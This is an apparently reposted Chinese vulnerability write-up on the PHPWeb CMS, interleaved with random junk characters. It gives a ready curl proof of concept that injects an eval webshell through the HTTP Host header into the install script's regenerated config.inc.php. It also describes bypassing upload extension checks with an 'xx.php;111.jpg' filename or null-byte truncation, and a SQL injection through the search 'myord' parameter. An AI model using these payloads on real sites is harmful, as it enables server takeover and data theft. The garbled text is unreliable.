注入:' t8 s6 X% ~4 D
5 p- N; _$ u, U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
4 p# {! s3 f m- A' n
; p: H5 a, \9 \7 Q2 r鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
/ ~2 f( Y# e- j( K: i9 r4 A, V, K鸡肋2: 有一定安全常识的站长都会删掉 install 目录
& s6 a9 J& {4 V n: O
, U' [; S' X+ M9 B. x7 c虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响! C- m9 n* O9 w" u' @+ ?
( p: s' C" d& l5 l: [4 F6 f
分析:
+ ~& K; ?6 e( i( t: `
% }% W/ W7 C* _9 p: R
% _+ ~/ g, V' c* ~1 f# L$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
. s7 x! R. Z/ Y9 |/ u 3 O( O, x; F2 J/ j* I4 N, e" Y, h# T
$filestr = fread(fopen($SysConfigFile, 'r'),30000);2 o+ d8 E6 U- S Y
$filestr=str_replace(" ","",$filestr);
# t8 ]. n& s$ F $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);9 Y0 Z2 ~6 f/ u5 S3 _3 W
$filestr=str_replace("DefaultDbName",$dbname,$filestr);6 Q$ ]$ W f+ E4 Q; B$ a
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ @ |) j& l1 L1 m. F $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
' p/ J* @2 `" E7 v' w9 o $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 C( G/ V4 j# T7 S
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);' _- i h. n0 z9 Q2 m2 x: S2 u
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- P5 C# O6 x# Z- ]& p8 m2 ^8 M
. s% Q' \# A0 f7 @3 D0 [: u \) d fwrite(fopen($ConFile,"w"),$filestr,30000);
% x) H5 w) Z+ e8 z4 L c% }$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
6 x& X8 G9 k, } " E3 y9 ~( U, o) r. n
poc:
% E( ? s# m# [, ]$ w2 a 6 v$ c- y& _ I
?; A1 h4 m1 n$ p6 P( z. M
1, B' w, ]# h; ~' i- ?7 Z9 v1 ^" C
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"/ u9 J+ L7 f( x& y; ?
shell地址: /config.inc.php
5 l. w7 B. p- G) L# F$ B, @: t1 Y跟之前的 phpcms一样 需要远程数据库. y" J" h/ ~5 q! f
, C3 G2 I5 I$ h u' F4 x, ^
——————————————————–( S: l3 q* n6 e
上传漏洞(需要进后台):/ G! D$ Y8 q9 a n7 k: j" M- y
漏洞文件: /kedit/upload_cgi/upload.php
+ U, {+ D9 B3 |9 d& b这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
: R$ Y: y9 F4 b' f 6 k: q \3 o; v" X+ v" o$ c$ i$ i
2 y3 ^+ g# d: ^& R3 Y9 V<?php
: h, m; I1 t7 E0 s |8 n& C define("ROOTPATH", "../../");+ }2 V, _: I$ X/ @
include(ROOTPATH."includes/admin.inc.php");
# Y- }9 Z7 ]% S* n Y( T NeedAuth(0);5 T2 s* t4 N. A0 h" @* `
( K/ m3 B: ^" o( Y& t! x6 x
$dt=date("Ymd",time());
+ [# Y+ R1 m$ e4 x if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){4 \( {% T+ z0 i+ x9 D
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
4 |" s: @9 u: p% u6 P4 C5 K }
# I9 a1 _3 D3 R" {
' r! I9 n, z) S+ i //文件保存目录路径) l: r( N' ]/ M r! ~3 `
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';( |# M: @/ t9 w. e* U- n1 F# j! \2 m
echo $save_path;
! H8 u# o0 E1 C# ] //文件保存目录URL
* R% g5 r: W7 f; O1 e $save_url = '../../'.$_POST['attachPath'].$dt.'/';
) |' u1 S7 S; L: H/ T. ^ 7 z0 Q- G3 |5 w9 \* h
//定义允许上传的文件扩展名
" i% m4 Y5 G- L" Z" b4 j* Y $ext_arr = array('gif','jpg','png','bmp'); //限制后缀; Q, c M4 e: g
% M$ P" M2 k0 d6 D$ a& O
//最大文件大小" n& S' T8 \. A3 x
$max_size = 1000000;7 j' T& Q3 x! \4 l
V2 b! G9 j+ j: Z+ d //更改目录权限2 Q5 W! R2 e7 ]8 x
@mkdir($save_path, 0777);7 n6 P) N S- d/ {5 E
' G8 w, [4 p+ b) ^ //文件的全部路径3 V$ n+ X1 S3 N
$file_path = $save_path.$_POST['fileName']; //保存文件名; H# D7 r0 c! V3 V1 I( Q9 h% o, A
0 X9 E8 k! p( P- R! o //文件URL
* P' j! Y Z* ]' B3 i $file_url = $save_url.$_POST['fileName'];: x9 C, k2 {" \3 n* q( J
//有上传文件时+ H0 Y v& j4 ^
if (empty($_FILES) === false) {
, `. o& E1 Q0 m( H% m- _+ v& n& Y1 P
' x, i: R R/ d6 X+ D# u9 V //原文件名
0 j- V0 s" N) [: ^8 a$ e* b- b( X $file_name = $_FILES['fileData']['name'];
2 T! ^& C0 G* h. n //服务器上临时文件名* [% r; t2 E% _# u) G
$tmp_name = $_FILES['fileData']['tmp_name'];, z3 @4 A. d" c! E: m
//文件大小
% }" M" I% L4 a: {$ @2 T3 r $file_size = $_FILES['fileData']['size'];: G+ s' H% Y+ d
//检查目录
6 S$ r- k H3 \& y if (@is_dir($save_path) === false) {/ _. t: c# `4 S8 O1 J
alert("上传目录不存在。");
& P0 f1 g1 M' P% M }
" v, n3 F9 U! n) O' A2 g //检查目录写权限* h, z- f) |$ E4 r5 E. o
if (@is_writable($save_path) === false) {+ ~2 l9 k5 J2 y5 `1 P# a
alert("上传目录没有写权限。");; A: s0 Y8 C7 W% M
}0 R- x. g) V: H# ]6 B9 Z7 z$ D
//检查是否已上传
# U- b2 ?" @" Y- X/ \, p if (@is_uploaded_file($tmp_name) === false) {
; p" K6 D) t! G% [2 K alert("临时文件可能不是上传文件。");
( i: S+ w W) \' l }) q2 Q5 K: t5 a, H# B# r
//检查文件大小) V' n3 P$ F+ v1 K
if ($file_size > $max_size) {
9 m* j# U2 o; c3 ^: u alert("上传文件大小超过限制。");
( r) i1 P! d1 _ }
9 H. p$ Q- N5 O6 L7 E; q$ s* }7 S //获得文件扩展名
: d8 H- T! S2 a* b $temp_arr = explode(".", $_POST['fileName']);
; L. b4 X$ h4 c4 i: o $file_ext = array_pop($temp_arr);
8 ]8 [- B4 e6 S5 { $file_ext = trim($file_ext);7 }0 e8 S# D( z! c% j8 X2 G
$file_ext = strtolower($file_ext);
5 Z6 d0 \6 k% w/ J3 G* Q6 y : _6 g0 v8 U: _9 G
//检查扩展名
+ Q4 E: a: N* j v) T ^% n: O5 ^ if (in_array($file_ext, $ext_arr) === false) {
& i' y2 S% s* Q; o6 ] alert("上传文件扩展名是不允许的扩展名。");8 h8 q# z/ u' T% }
}
9 K2 M; f- g! e! [$ w# ?
1 ^( j, Z" A( Y( {7 t% ? //移动文件 , v- a8 W6 X/ S" l4 o' q4 a N
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
: R/ d. O/ G3 X6 O8 j3 | if (move_uploaded_file($tmp_name, $file_path) === false) {
$ F1 S- z4 x. z/ f: q alert("上传文件失败。");
2 h1 k. G% H; c; j7 p- x" i }
8 o. }6 Z4 ?% n- Q1 @# ^* E
, L1 {/ a _. r @chmod($file_path,0666);
5 G1 w# h' H/ m
! u4 g+ i! X) x& t1 ]! A' M ?>
5 g: ]! j8 ]/ x. r S* G* r- E. M抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227: D0 M+ q) A! U- u( S. b0 g
8 l) F3 F# q! o4 J
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 _( B8 C0 a0 v6 n
: B9 O* l Q$ O9 T——————————————————
F! ?4 v: C- `& o! ]注入漏洞:; j G! Q1 w% K/ S
漏洞文件:search/module/search.php' L1 L# }3 E; K% T1 b( E
/search/index.php?key=1&myord=1 [sqlinjection]% t6 P8 H( q) a% k! M2 @( r
* d2 L4 y: s9 W 4 w' U C' j) x* x o
<?php
$ x2 B. k* e8 |3 ^* m // ... 省略 n 行...: k6 a$ A. c6 j: j7 R
//第18行:
/ m- }; u* j/ D: g2 ]1 Z $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响$ r0 S7 k# ?. t& l1 w2 \ P& p
$page=htmlspecialchars($_GET["page"]);
" k) a% f6 F3 H7 z) i1 [' u; x5 a* m $myord=htmlspecialchars($_GET["myord"]);' k- p6 q" B+ {' {
4 C9 y: R' P1 X- @+ I
// ... 省略 n 行..., }2 s- m1 z+ k0 l4 j" m
$key,$myord 两个参数带入查询
9 f2 I) Z( y: ^' Q J/ s. m //第47行 $key:0 ^5 U1 Q h0 N1 m4 Y( Q7 _( B
9 h& ^5 _* r3 K% Q- d$ l $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..# |2 O, y k c
$ C* m5 E( H5 I# F# ], M2 x //第197行 $myord3 e& ^0 T+ e- J0 w1 d8 X2 K% m
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入: q2 f U% C& ^! I# f- w! V. ~- p
6 S' A; L( W$ K4 R f, m5 @8 X ?>
: v U$ ^; f, r; `$ S/ q |